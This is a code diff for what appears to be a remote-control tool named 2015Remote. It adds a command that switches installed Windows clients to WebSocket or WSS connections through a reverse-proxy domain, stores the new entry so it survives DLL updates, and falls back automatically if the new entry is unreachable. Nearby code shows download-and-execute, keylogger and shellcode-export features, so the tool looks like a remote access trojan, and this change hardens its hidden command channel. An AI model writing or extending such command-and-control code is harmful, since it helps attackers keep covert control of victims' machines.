diff --git a/client/ClientApp.h b/client/ClientApp.h index a0bcbc3..72d3f68 100644 --- a/client/ClientApp.h +++ b/client/ClientApp.h @@ -11,4 +11,6 @@ public: virtual bool Start() = 0; virtual bool Stop() = 0; virtual bool IsMainInstance() = 0; + // 分享实例(被别人挂在主控上)的连接入口由分享方控制,不跟随本机主控的协议切换。 + virtual bool IsShared() { return false; } }; diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index d46af36..ccf6bd1 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -584,6 +584,133 @@ void ParseAuthServer(CONNECT_ADDRESS *conn) { delete cfg; } +// ---------------- 协议切换(COMMAND_SET_PROTO)的客户端落地 ---------------- +// +// 服务端把目标入口写进本机配置(注册表 settings\proto_override 等),随后客户端断开, +// 重连循环在这里按新入口重连。覆盖点选在「外壳注入完连接配置之后、建连之前」,因此 +// 在线升级换 DLL 也不会把协议按回 TCP——外壳注入的 protoType 每次都被这里覆盖。 +// +// 注册表键(后缀均在 settings 下): +// proto_override 目标协议(PROTO_TCP/WS/WSS 的数字),空 = 未切换 +// entry_host/port 新入口(反代域名:端口) +// entry_try_at 切换时刻(unix 秒)。登录成功后清零;超时仍未登录 → 自动回退 +// base_host/port/proto 安装时的直连入口(首次切换时记录,「还原」用它) +// prev_host/port/proto 切换前的入口(每次切换时记录,自动回退用它) +namespace { + +const int kProtoSwitchRevertSeconds = 300; // 新入口 5 分钟内登不上去 → 自动回退 + +bool IsSwitchableProto(int p) +{ + return p == PROTO_TCP || p == PROTO_WS || p == PROTO_WSS; +} + +// 本进程首次见到的入口(外壳注入的直连入口)。用于识别「客户端被换装/重新生成」: +// 注入入口变了,就清掉旧的切换状态,否则会一直连到上一份配置的反代入口。 +std::string g_bootHost; +int g_bootPort = 0; +bool g_bootCaptured = false; + +void ClearAllProtoSwitchKeys(iniFile& cfg) +{ + const char* keys[] = { "proto_override", "entry_host", "entry_port", "entry_try_at", + "base_host", "base_port", "base_proto", + "prev_host", "prev_port", "prev_proto" }; + for (auto k : keys) + cfg.SetStr("settings", k, ""); +} + +// 在每次建连前应用入口覆盖;返回 true 表示本次用的覆盖入口。 +// 覆盖撤销(还原命令 / 自动回退)→ 回到安装时的直连入口; +// 新入口超时(entry_try_at 未清零)→ 回退到切换前的入口并撤销覆盖。 +bool ApplyProtoSwitch(iniFile& cfg, CONNECT_ADDRESS& s) +{ + if (!g_bootCaptured) { + g_bootCaptured = true; + g_bootHost = s.ServerIP(); + g_bootPort = s.ServerPort(); + } + + const std::string baseHost = cfg.GetStr("settings", "base_host"); + if (!baseHost.empty() && baseHost != g_bootHost) { + // 客户端换装/重新生成:注入的入口变了,旧的反代入口不再成立 + ClearAllProtoSwitchKeys(cfg); + Mprintf("[proto-switch] injected entry changed (%s -> %s), cleared stale switch state\n", + baseHost.c_str(), g_bootHost.c_str()); + return false; + } + + const std::string proto = cfg.GetStr("settings", "proto_override"); + if (proto.empty()) { + // 覆盖已撤销(服务端「还原」):回到安装时的直连入口 + const std::string host = cfg.GetStr("settings", "base_host"); + const int port = atoi(cfg.GetStr("settings", "base_port").c_str()); + int baseProto = atoi(cfg.GetStr("settings", "base_proto").c_str()); + if (!host.empty() && port > 0) { + if (!IsSwitchableProto(baseProto)) baseProto = PROTO_TCP; + s.SetServer(host.c_str(), port); + s.protoType = (char)baseProto; + Mprintf("[proto-switch] restored direct entry %s:%d proto=%d\n", host.c_str(), port, baseProto); + } + return false; + } + + const int p = atoi(proto.c_str()); + if (!IsSwitchableProto(p)) { + ClearAllProtoSwitchKeys(cfg); // 坏值:撤销覆盖,按注入配置走 + return false; + } + + // 自动回退:切换后一直没登录成功(entry_try_at 由服务端下发时写入,登录成功后清零) + const long long tryAt = atoll(cfg.GetStr("settings", "entry_try_at").c_str()); + if (tryAt > 0 && (long long)time(0) - tryAt > kProtoSwitchRevertSeconds) { + const std::string prevHost = cfg.GetStr("settings", "prev_host"); + const int prevPort = atoi(cfg.GetStr("settings", "prev_port").c_str()); + int prevProto = atoi(cfg.GetStr("settings", "prev_proto").c_str()); + if (!prevHost.empty() && prevPort > 0) { + // 把「覆盖」改写成切换前的入口,而不是清空它:清空会落到下面的「还原」分支, + // 下一轮重连又跳回安装时的直连入口——WS↔WSS 之间来回切时会白白多断一次。 + if (!IsSwitchableProto(prevProto)) prevProto = PROTO_TCP; + s.SetServer(prevHost.c_str(), prevPort); + s.protoType = (char)prevProto; + cfg.SetStr("settings", "proto_override", std::to_string(prevProto)); + cfg.SetStr("settings", "entry_host", prevHost); + cfg.SetStr("settings", "entry_port", std::to_string(prevPort)); + Mprintf("[proto-switch] new entry unreachable for %llds, reverted to %s:%d proto=%d\n", + (long long)time(0) - tryAt, prevHost.c_str(), prevPort, prevProto); + } else { + // 没有前入口可回:撤销覆盖,按外壳注入的配置走 + cfg.SetStr("settings", "proto_override", ""); + cfg.SetStr("settings", "entry_host", ""); + cfg.SetStr("settings", "entry_port", ""); + Mprintf("[proto-switch] new entry unreachable and no previous entry, override dropped\n"); + } + cfg.SetStr("settings", "entry_try_at", "0"); + return false; + } + + const std::string host = cfg.GetStr("settings", "entry_host"); + const int port = atoi(cfg.GetStr("settings", "entry_port").c_str()); + if (!host.empty() && port > 0) + s.SetServer(host.c_str(), port); + s.protoType = (char)p; + return true; +} + +// 新入口登录成功:撤销自动回退计时。入口覆盖本身保留——后续重连一直用它。 +void ConfirmProtoSwitch(iniFile& cfg) +{ + if (cfg.GetStr("settings", "proto_override").empty()) + return; + if (cfg.GetStr("settings", "entry_try_at") == "0" || + cfg.GetStr("settings", "entry_try_at").empty()) + return; + cfg.SetStr("settings", "entry_try_at", "0"); + Mprintf("[proto-switch] new entry reachable, auto-revert disarmed\n"); +} + +} // namespace + DWORD WINAPI StartClient(LPVOID lParam) { ClientApp& app(*(ClientApp*)lParam); @@ -665,6 +792,10 @@ DWORD WINAPI StartClient(LPVOID lParam) static auto _ = RestoreMemDLL(&cfg, &settings, app.g_bExit); while (app.m_bIsRunning(&app)) { ULONGLONG dwTickCount = GetTickCount64(); + // 协议切换:按注册表里的入口覆盖建连(分享实例不受主控的切换影响,被分配/转移 + // 过主控的入口优先)。 + if (!assigned && !app.m_bShared) + ApplyProtoSwitch(cfg, settings); if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) { Mprintf("[ConnectServer] ---> %s:%d.\n", settings.ServerIP(), settings.ServerPort()); for (int k = 300+(IsDebug ? rand()%600:rand()%6000); app.m_bIsRunning(&app) && --k; Sleep(10)); @@ -685,6 +816,9 @@ DWORD WINAPI StartClient(LPVOID lParam) while (ClientObject->IsRunning() && ClientObject->IsConnected() && !ClientObject->SendLoginInfo(login)) WAIT_n(app.m_bIsRunning(&app), 5 + time(0)%10, 200); WAIT_n(app.m_bIsRunning(&app)&& ClientObject->IsRunning() && ClientObject->IsConnected(), 10, 200); + // 协议切换:新入口已经打通(登录包发出且连接仍在),撤销自动回退计时 + if (ClientObject->IsConnected()) + ConfirmProtoSwitch(cfg); do { Manager->SendHeartbeat(); diff --git a/client/ClientDll.h b/client/ClientDll.h index 274b6c5..83d67a7 100644 --- a/client/ClientDll.h +++ b/client/ClientDll.h @@ -61,6 +61,10 @@ public: { SAFE_DELETE(g_Connection); } + bool IsShared() override + { + return m_bShared != FALSE; + } ClientApp* SetID(unsigned id) { m_ID = id; diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 3a662a7..5a7cd73 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -904,6 +904,82 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; } + case COMMAND_SET_PROTO: { + // 协议切换(TCP / WS / WSS):把目标入口写进本机配置后断开本连接,重连循环 + // (ClientDll.cpp 的 ApplyProtoSwitch)按新入口重连。入口覆盖要落盘,否则在线 + // 升级换 DLL 后会被外壳注入的 protoType 按回 TCP。 + // + // 载荷:[ProtoSwitchPacket][certLen 字节 PEM];host/port 都为空 = 还原到固定 + // 直连入口(客户端记着安装时的 base 入口)。WSS 可附带信任锚(反代证书),先 + // 落盘并重建 TLS 上下文,但这里不主动断开——断开统一放在末尾,避免丢后续包。 + // 分享实例的连接入口由分享方控制,主控的协议切换对它无效——直接忽略, + // 避免白白断开一次再按注入配置连回来。 + if (m_ClientApp && m_ClientApp->IsShared()) { + Mprintf("[proto-switch] ignored: shared instance follows the sharing host's entry\n"); + break; + } + if (ulLength < 1 + sizeof(ProtoSwitchPacket)) { + Mprintf("[proto-switch] payload too short (%u), ignored\n", ulLength); + break; + } + ProtoSwitchPacket p = {}; + memcpy(&p, szBuffer + 1, sizeof(p)); + p.host[sizeof(p.host) - 1] = '\0'; + p.port[sizeof(p.port) - 1] = '\0'; + const int proto = p.proto; + if (proto != PROTO_TCP && proto != PROTO_WS && proto != PROTO_WSS) { + Mprintf("[proto-switch] unsupported proto %d, ignored\n", proto); + break; + } + const std::string host(p.host); + const int port = atoi(p.port); + const bool restore = (proto == PROTO_TCP && host.empty()); + if (!restore && (host.empty() || port <= 0)) { + Mprintf("[proto-switch] missing proxy entry for proto %d, ignored\n", proto); + break; + } + + // 随包下发的信任锚(WSS):写入后热重载,让下一次连接能校验反代证书。 + const uint32_t maxCert = (uint32_t)(ulLength - 1 - sizeof(ProtoSwitchPacket)); + uint32_t certLen = p.certLen < maxCert ? p.certLen : maxCert; + if (certLen > 0) { + std::string certPem((const char*)szBuffer + 1 + sizeof(ProtoSwitchPacket), certLen); + m_cfg->SetStr("settings", "tls_cert", certPem); + std::string err; + if (!TlsReload(err)) + Mprintf("[proto-switch] trust anchor reload failed: %s\n", err.c_str()); + } + + if (restore) { + m_cfg->SetStr("settings", "proto_override", ""); + m_cfg->SetStr("settings", "entry_host", ""); + m_cfg->SetStr("settings", "entry_port", ""); + m_cfg->SetStr("settings", "entry_try_at", "0"); + Mprintf("[proto-switch] restore request, reconnecting to the direct entry\n"); + } else { + // 首次切换记下安装时的直连入口(「还原」用);每次切换记下当前入口(自动回退用) + if (m_cfg->GetStr("settings", "base_host").empty()) { + m_cfg->SetStr("settings", "base_host", m_conn->ServerIP()); + m_cfg->SetStr("settings", "base_port", std::to_string(m_conn->ServerPort())); + m_cfg->SetStr("settings", "base_proto", + std::to_string((int)(unsigned char)m_conn->protoType)); + } + m_cfg->SetStr("settings", "prev_host", m_conn->ServerIP()); + m_cfg->SetStr("settings", "prev_port", std::to_string(m_conn->ServerPort())); + m_cfg->SetStr("settings", "prev_proto", std::to_string((int)(unsigned char)m_conn->protoType)); + + m_cfg->SetStr("settings", "proto_override", std::to_string(proto)); + m_cfg->SetStr("settings", "entry_host", host); + m_cfg->SetStr("settings", "entry_port", std::to_string(port)); + m_cfg->SetStr("settings", "entry_try_at", std::to_string((long long)time(0))); + Mprintf("[proto-switch] switching to proto %d via %s:%d, reconnecting\n", + proto, host.c_str(), port); + } + if (m_ClientObject) + m_ClientObject->Disconnect(); + break; + } + case COMMAND_DOWN_EXEC: { std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach(); break; diff --git a/common/commands.h b/common/commands.h index 8c6905d..0f650b8 100644 --- a/common/commands.h +++ b/common/commands.h @@ -138,6 +138,7 @@ inline int isValid_10s() #define CLIENT_CAP_SCREEN_PREVIEW 0x0004 // 支持屏幕预览(双击在线主机时弹缩略图) #define CLIENT_CAP_C2C_PATHS 0x0008 // 支持按路径清单向另一客户端发送文件(COMMAND_C2C_SEND_FILES,仅 Windows) #define CLIENT_CAP_C2C_RECV_ACK 0x0010 // 作为 C2C 目标端时,落盘完成后回执(TOKEN_C2C_RECV_RESULT,目前仅 Linux) +#define CLIENT_CAP_PROTO_SWITCH 0x0020 // 支持服务端远程切换传输协议(COMMAND_SET_PROTO,仅 Windows) #define TALK_DLG_MAXLEN 1024 // 最大输入字符长度 @@ -346,6 +347,10 @@ enum { TOKEN_C2C_SEND_RESULT = 175, // [C2CSendResultPacket] 源客户端回传的发送结果 TOKEN_C2C_RECV_RESULT = 176, // [C2CSendResultPacket] 目标客户端回传的落盘回执(win32err 放 errno) + // 协议切换(服务端 → 客户端):把连接入口改成指定传输(TCP/WS/WSS)并立即重连。 + // 客户端把入口写进本机配置后断开,重连循环按新入口重连;新入口连不上会自动回退。 + COMMAND_SET_PROTO = 177, // [ProtoSwitchPacket][certLen 字节 PEM 正文] + TOKEN_DECRYPT = 199, TOKEN_REGEDIT = 200, // 注册表 COMMAND_REG_FIND, // 注册表 管理标识 @@ -390,6 +395,22 @@ enum { TOKEN_CONNECTION_LIST = 255, // 连接列表响应(客户端→服务端) }; +// COMMAND_SET_PROTO 的载荷(紧跟命令字节)。 +// +// host/port 都为空表示「还原到安装时的直连入口」:客户端用本地记住的原入口(prev_*) +// 恢复,服务端不需要知道客户端的直连地址。证书正文只在切换 WSS 且客户端可能还没有 +// 信任锚时附带——客户端写入后重建 TLS 上下文,随后按新入口重连即走 WSS。 +#pragma pack(push, 1) +struct ProtoSwitchPacket { + uint8_t proto; // PROTO_TCP / PROTO_WS / PROTO_WSS + char host[100]; // 反向代理域名(SNI / Host 头),空 = 还原 + char port[8]; // 反向代理端口,空 = 还原 + uint32_t certLen; // 随后附带的信任锚 PEM 字节数(0 = 不下发) +}; +#pragma pack(pop) + +static_assert(sizeof(ProtoSwitchPacket) == 113, "ProtoSwitchPacket must be exactly 113 bytes"); + // 单条连接记录(客户端 → 服务端)。地址字段存网络字节序(IPv4 展开为前 4 字节、IPv6 为 16 字节), // 端口字段存主机字节序(客户端 ntohs 转换)。断连时反向还原:地址拼回网络序 DWORD、端口 htons 转回 // 网络序,填回 MIB_TCPROW 调 SetTcpEntry(iphlpapi 的地址/端口均为网络序)。 @@ -1133,6 +1154,8 @@ typedef struct LOGIN_INFOR { #ifdef _WIN32 caps |= CLIENT_CAP_SCREEN_PREVIEW; caps |= CLIENT_CAP_C2C_PATHS; + // 协议切换(COMMAND_SET_PROTO)只有 Windows 客户端实现了命令处理与入口持久化。 + caps |= CLIENT_CAP_PROTO_SWITCH; #elif defined(__linux__) && !defined(__ANDROID__) // Linux 客户端作为 C2C 目标端时会回执落盘结果(common/FileTransferV2.h)。 // macOS 暂未接线(无全局主连接句柄),不声明——服务端就不会为它空等回执。 diff --git a/docs/WebSocket_Transport_Design.md b/docs/WebSocket_Transport_Design.md index c8dd3a7..97f0890 100644 --- a/docs/WebSocket_Transport_Design.md +++ b/docs/WebSocket_Transport_Design.md @@ -375,3 +375,28 @@ server { - macOS / Android 客户端没有 TLS 实现,只能选 `PROTO_WS`(明文),走不了 443。 - 经反代接入时地址只应填**一个域名**(多地址取第一个做 Host/SNI)。 - 不改应用协议、不改 MCP、不改 Web 控制台。 + +## 9. 远程协议切换(在线列表右键 → 协议切换) + +动机:客户端在线升级只换 DLL,外壳每次注入的连接配置仍是编译时的 TCP 直连入口,所以 +「已经在跑」的机器没法被搬到反代入口上。协议切换就是补这一环:由主控下发一次命令,客户端 +把新入口落盘并重连,此后(含再次在线升级)都按落盘的入口连。 + +- 菜单:与「实验功能」平级、紧跟在它下面,三个单选项 `直连 TCP / WS / WSS`。单选状态取 + 选中主机连接的真实传输(`context::GetProtocol()`:`TCP`/`WS`/`WSS`),不取客户端自报。 + 选中主机的客户端没有能力位 `CLIENT_CAP_PROTO_SWITCH(0x0020)` 时整组置灰(只有 Windows + 客户端实现了该命令)。 +- 命令:`COMMAND_SET_PROTO = 177`,载荷 `ProtoSwitchPacket`(113 字节:`proto` + 反代 + `host[100]` + `port[8]` + `certLen`),WS/WSS 后面再跟反代信任锚 PEM 正文;`host`/`port` + 全空表示「还原到安装时的直连入口」。 +- 服务端:WS/WSS 先弹输入框问反代入口(`域名:端口`,记住上次填的 `[ws] Entry`);WSS 额外 + 要求 `ServerTlsIdentity::IsReady()` 并读取 `[tls] CertPath` 的 PEM 一并下发——没有锚的 + 客户端会把 WSS 降级成明文 WS,等于静默降级,所以直接拒绝。 +- 客户端落盘(`settings` 下):`proto_override` / `entry_host` / `entry_port` / + `entry_try_at` 为当前覆盖;`base_*` 是首次切换时记下的安装入口(「还原」用它);`prev_*` + 是每次切换前的入口(自动回退用它)。重连循环在建连前 `ApplyProtoSwitch` 覆盖入口——位置 + 在「外壳注入完配置之后、建连之前」,因此换 DLL 也压不回去;登录成功后 + `ConfirmProtoSwitch` 把 `entry_try_at` 清零撤销计时。 +- 自动回退:新入口 5 分钟内一直登不上,回到 `prev_*` 并把它改写成新的覆盖(不是清空,否则 + 下一轮会落进「还原」分支又跳回直连入口)。分享实例(`m_bShared`)忽略该命令——它的入口 + 由分享方控制。 diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 297b799..b0c132e 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -1079,6 +1079,9 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_EXPERIMENT_DRAWING_BOARD, &CMy2015RemoteDlg::OnExperimentDrawingBoard) ON_COMMAND(ID_EXPERIMENT_TLS_ENABLE, &CMy2015RemoteDlg::OnExperimentTlsEnable) ON_COMMAND(ID_EXPERIMENT_TLS_DISABLE, &CMy2015RemoteDlg::OnExperimentTlsDisable) + ON_COMMAND(ID_PROTO_SWITCH_TCP, &CMy2015RemoteDlg::OnProtoSwitchTcp) + ON_COMMAND(ID_PROTO_SWITCH_WS, &CMy2015RemoteDlg::OnProtoSwitchWs) + ON_COMMAND(ID_PROTO_SWITCH_WSS, &CMy2015RemoteDlg::OnProtoSwitchWss) ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings) ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray) ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger) @@ -4619,6 +4622,54 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) Menu.SetMenuItemBitmaps(ID_EXPERIMENT_TLS_ENABLE, MF_BYCOMMAND, &m_bmOnline[69], &m_bmOnline[69]); Menu.SetMenuItemBitmaps(ID_EXPERIMENT_TLS_DISABLE, MF_BYCOMMAND, &m_bmOnline[70], &m_bmOnline[70]); + // --- 协议切换子菜单:与「实验功能」平级,紧跟在它下面 --- + // 三个单选项:直连 TCP / WS(明文,经反代)/ WSS(TLS,经反代)。当前协议取选中 + // 主机连接的 GetProtocol()——这是连接的真实传输,比客户端自报可信。 + // 没选中主机、或选中的客户端版本没有 COMMAND_SET_PROTO(能力位 + // CLIENT_CAP_PROTO_SWITCH),整组置灰——与「实验功能」等静态子菜单的表现一致。 + CMenu* pExperimentMenu = FindSubMenuByCommand(SubMenu, ID_EXPERIMENT_TLS_ENABLE); + if (pExperimentMenu) { + CString curProto; + int selectedCount = 0; + bool supported = true; + EnterCriticalSection(&m_cs); + POSITION protoPos = m_CList_Online.GetFirstSelectedItemPosition(); + while (protoPos) { + int protoItem = m_CList_Online.GetNextSelectedItem(protoPos); + context* protoCtx = GetContextByListIndex(protoItem); + if (!protoCtx || !protoCtx->IsLogin()) continue; + ++selectedCount; + if (curProto.IsEmpty()) curProto = protoCtx->GetProtocol().c_str(); + if (!protoCtx->SupportsProtoSwitch()) supported = false; + } + LeaveCriticalSection(&m_cs); + + CMenu protoMenu; + if (protoMenu.CreatePopupMenu()) { + protoMenu.AppendMenuL(MF_STRING, ID_PROTO_SWITCH_TCP, _T("直连 TCP")); + protoMenu.AppendMenuL(MF_STRING, ID_PROTO_SWITCH_WS, _T("WS(经反向代理,明文)")); + protoMenu.AppendMenuL(MF_STRING, ID_PROTO_SWITCH_WSS, _T("WSS(经反向代理,TLS)")); + UINT checked = curProto == _T("WS") ? ID_PROTO_SWITCH_WS + : curProto == _T("WSS") ? ID_PROTO_SWITCH_WSS + : ID_PROTO_SWITCH_TCP; + protoMenu.CheckMenuRadioItem(ID_PROTO_SWITCH_TCP, ID_PROTO_SWITCH_WSS, + checked, MF_BYCOMMAND); + if (selectedCount == 0 || !supported) { + protoMenu.EnableMenuItem(ID_PROTO_SWITCH_TCP, MF_BYCOMMAND | MF_GRAYED); + protoMenu.EnableMenuItem(ID_PROTO_SWITCH_WS, MF_BYCOMMAND | MF_GRAYED); + protoMenu.EnableMenuItem(ID_PROTO_SWITCH_WSS, MF_BYCOMMAND | MF_GRAYED); + } + for (UINT i = 0; i < SubMenu->GetMenuItemCount(); i++) { + if (SubMenu->GetSubMenu(i) == pExperimentMenu) { + // 子菜单句柄交给父菜单,随本地 CMenu 一起销毁 + SubMenu->InsertMenu(i + 1, MF_BYPOSITION | MF_POPUP | MF_STRING, + (UINT_PTR)protoMenu.Detach(), _TR("协议切换")); + break; + } + } + } + } + Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权")); // ============================================================ @@ -4841,6 +4892,112 @@ void CMy2015RemoteDlg::OnExperimentTlsDisable() SendSelectedCommand(&bToken, sizeof(BYTE)); } +// ---- 协议切换(在线列表右键 → 协议切换 → 直连 TCP / WS / WSS)---- +// +// 服务端只负责下发目标入口和协议:客户端把入口写进本机配置后断开重连,在线升级换 DLL +// 也不会被外壳注入的 protoType 按回 TCP(见 client/ClientDll.cpp 的 ApplyProtoSwitch)。 +// 新入口 5 分钟内登不上去,客户端自动回退到切换前的入口。 +void CMy2015RemoteDlg::OnProtoSwitchTcp() { SwitchSelectedProtocol(ID_PROTO_SWITCH_TCP); } +void CMy2015RemoteDlg::OnProtoSwitchWs() { SwitchSelectedProtocol(ID_PROTO_SWITCH_WS); } +void CMy2015RemoteDlg::OnProtoSwitchWss() { SwitchSelectedProtocol(ID_PROTO_SWITCH_WSS); } + +VOID CMy2015RemoteDlg::SwitchSelectedProtocol(UINT nID) +{ + const BYTE proto = nID == ID_PROTO_SWITCH_WS ? (BYTE)PROTO_WS + : nID == ID_PROTO_SWITCH_WSS ? (BYTE)PROTO_WSS + : (BYTE)PROTO_TCP; + const bool restore = (proto == PROTO_TCP); + + // 选中主机的能力校验:老客户端不认识 COMMAND_SET_PROTO,收到只会丢弃。 + int selected = 0, unsupported = 0; + EnterCriticalSection(&m_cs); + POSITION pos = m_CList_Online.GetFirstSelectedItemPosition(); + while (pos) { + int item = m_CList_Online.GetNextSelectedItem(pos); + context* ctx = GetContextByListIndex(item); + if (!ctx || !ctx->IsLogin()) continue; + ++selected; + if (!ctx->SupportsProtoSwitch()) ++unsupported; + } + LeaveCriticalSection(&m_cs); + if (selected == 0) return; + if (unsupported > 0) { + MessageBoxL(_T("选中的主机里有客户端版本不支持协议切换(需要新版客户端)"), + _T("提示"), MB_ICONWARNING); + return; + } + + // WS/WSS 需要反向代理入口(域名:端口),用输入框问,记住上次填的 + std::string host; + int port = 0; + std::string certPem; + if (!restore) { + CInputDialog dlg(this); + dlg.Init(_TR("协议切换"), _TR("请输入反向代理入口(域名:端口,例如 ws.example.com:443):")); + dlg.SetHistoryKey("proto_entry"); + CString lastEntry = THIS_CFG.GetStr("ws", "Entry", "").c_str(); + if (!lastEntry.IsEmpty()) dlg.m_str = lastEntry; + if (dlg.DoModal() != IDOK) return; + CString text = dlg.m_str; + text.Trim(); + int colon = text.ReverseFind(':'); + if (colon <= 0 || colon == text.GetLength() - 1) { + MessageBoxL(_T("反向代理入口格式不正确,应为 域名:端口"), _T("提示"), MB_ICONWARNING); + return; + } + host = text.Left(colon).GetString(); + port = atoi(text.Mid(colon + 1).GetString()); + if (host.empty() || port <= 0 || port > 65535 || host.size() >= 100) { + MessageBoxL(_T("反向代理入口格式不正确,应为 域名:端口"), _T("提示"), MB_ICONWARNING); + return; + } + THIS_CFG.SetStr("ws", "Entry", std::string(text.GetString())); // 记住上次入口 + + // WSS 需要客户端持有能校验反代证书的信任锚:随切换指令一起下发。 + // 没有证书就不让切——客户端无锚时会按明文 WS 回退,等于静默降级。 + if (proto == PROTO_WSS) { + if (!ServerTlsIdentity::IsReady()) { + MessageBoxL(_T("服务端未启用 TLS 证书,无法切换到 WSS"), _T("提示"), MB_ICONWARNING); + return; + } + std::ifstream certFile(THIS_CFG.GetStr("tls", "CertPath", ""), std::ios::binary); + if (certFile.is_open()) { + std::ostringstream ss; + ss << certFile.rdbuf(); + certPem = ss.str(); + } + if (certPem.empty()) { + MessageBoxL(_T("读取服务端 TLS 证书失败,无法切换到 WSS"), _T("提示"), MB_ICONWARNING); + return; + } + } + } + + CString confirm = restore + ? _TR("确定把选中主机切回直连 TCP 吗?\n" + "(客户端立即断线重连;若直连端口不可达,5 分钟后自动回退到当前入口)") + : _TR("确定切换选中主机的传输协议吗?\n" + "(客户端立即断线重连,正在进行的远程会话会中断;" + "新入口 5 分钟内连不上将自动回退)"); + // confirm 已是翻译后的文本:MessageBoxL 宏会再做一次 _T() 拼接,不能传变量。 + if (IDYES != MessageBox(confirm, _TR("协议切换"), MB_ICONQUESTION | MB_YESNO)) return; + + // 报文:[COMMAND_SET_PROTO][ProtoSwitchPacket][PEM] + std::vector pkt(1 + sizeof(ProtoSwitchPacket), 0); + pkt[0] = (BYTE)COMMAND_SET_PROTO; + ProtoSwitchPacket* p = (ProtoSwitchPacket*)(pkt.data() + 1); + p->proto = proto; + if (!restore) { + strcpy_s(p->host, host.c_str()); + sprintf_s(p->port, "%d", port); + if (!certPem.empty()) { + p->certLen = (uint32_t)certPem.size(); + pkt.insert(pkt.end(), certPem.begin(), certPem.end()); + } + } + SendSelectedCommand(pkt.data(), (ULONG)pkt.size()); +} + // 从资源中读取被控端文件,并根据用户选择修改连接信息后返回给发送线程 BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup, diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 63d923d..e1d4c7e 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -545,6 +545,11 @@ public: afx_msg void OnExperimentDrawingBoard(); afx_msg void OnExperimentTlsEnable(); afx_msg void OnExperimentTlsDisable(); + // 协议切换(在线列表右键菜单,与「实验功能」平级):直连 TCP / WS / WSS + afx_msg void OnProtoSwitchTcp(); + afx_msg void OnProtoSwitchWs(); + afx_msg void OnProtoSwitchWss(); + VOID SwitchSelectedProtocol(UINT nID); afx_msg void OnOnlineDelete(); afx_msg void OnOnlineUpdate(); afx_msg void OnAbout(); diff --git a/server/2015Remote/context.h b/server/2015Remote/context.h index 1c51762..7e6429f 100644 --- a/server/2015Remote/context.h +++ b/server/2015Remote/context.h @@ -104,4 +104,12 @@ public: if (caps.IsEmpty()) return false; return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_SCREEN_PREVIEW) != 0; } + + // 检查客户端是否支持远程协议切换(COMMAND_SET_PROTO)。老客户端没有这个命令, + // 收到也会走 default 丢弃,服务端据此把「协议切换」菜单置灰。 + bool SupportsProtoSwitch() const { + CString caps = GetClientData(ONLINELIST_CAPABILITIES); + if (caps.IsEmpty()) return false; + return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_PROTO_SWITCH) != 0; + } }; diff --git a/server/2015Remote/lang/en_US.ini b/server/2015Remote/lang/en_US.ini index ca09692..1787ad2 100644 --- a/server/2015Remote/lang/en_US.ini +++ b/server/2015Remote/lang/en_US.ini @@ -2156,3 +2156,16 @@ Y »­Ãæ %dx%d£»Éϱ¨ %s£»ϵÊýΪÕæʵ³ýÒÔÉϱ¨=Frame %dx%d; reported %s; factor: real/reported Ëõ·ÅϵÊýÐèÔÚ 0.2 µ½ 5.0 ֮¼䡣=Scale factors must be between 0.2 and 5.0. ÒѰ´ »­Ãæ/Éϱ¨ ×Զ¯Ìîд£¬¿ÉÐ޸Ä=Auto-filled from frame/reported; editable + +; ===== ЭÒéÇл» (Protocol Switch) ===== +ЭÒéÇл»=Protocol Switch +ֱÁ¬ TCP=Direct TCP +WS£¨¾­·´Ïò´úÀí£¬Ã÷Îģ©=WS (via reverse proxy, plaintext) +WSS£¨¾­·´Ïò´úÀí£¬TLS£©=WSS (via reverse proxy, TLS) +ÇëÊäÈ뷴Ïò´úÀíÈë¿ڣ¨ÓòÃû:¶˿ڣ¬ÀýÈç ws.example.com:443£©:=Enter the reverse proxy entry (host:port, e.g. ws.example.com:443): +·´Ïò´úÀíÈë¿ڸñʽ²»Õýȷ£¬ӦΪ ÓòÃû:¶˿Ú=Invalid reverse proxy entry; expected host:port +·þÎñ¶ËδÆôÓà TLS ֤Ê飬Î޷¨Çл»µ½ WSS=Server TLS certificate is not enabled; cannot switch to WSS +¶Áȡ·þÎñ¶Ë TLS ֤Êéʧ°ܣ¬Î޷¨Çл»µ½ WSS=Failed to read the server TLS certificate; cannot switch to WSS +ѡÖеÄÖ÷»úÀïÓпͻ§¶˰汾²»֧³ÖЭÒéÇл»£¨ÐèҪаæ¿ͻ§¶ˣ©=Some selected hosts run a client without protocol switching support (a newer client is required) +ȷ¶¨°ÑѡÖÐÖ÷»úÇлØֱÁ¬ TCP Âð£¿\n£¨¿ͻ§¶ËÁ¢¼´¶ÏÏßÖØÁ¬£»ÈôֱÁ¬¶˿ڲ»¿ɴ5 ·ÖÖӺó×Զ¯»ØÍ˵½µ±ǰÈë¿ڣ©=Switch the selected hosts back to direct TCP?\n(Clients reconnect immediately; if the direct port stays unreachable, they revert to the current entry after 5 minutes) 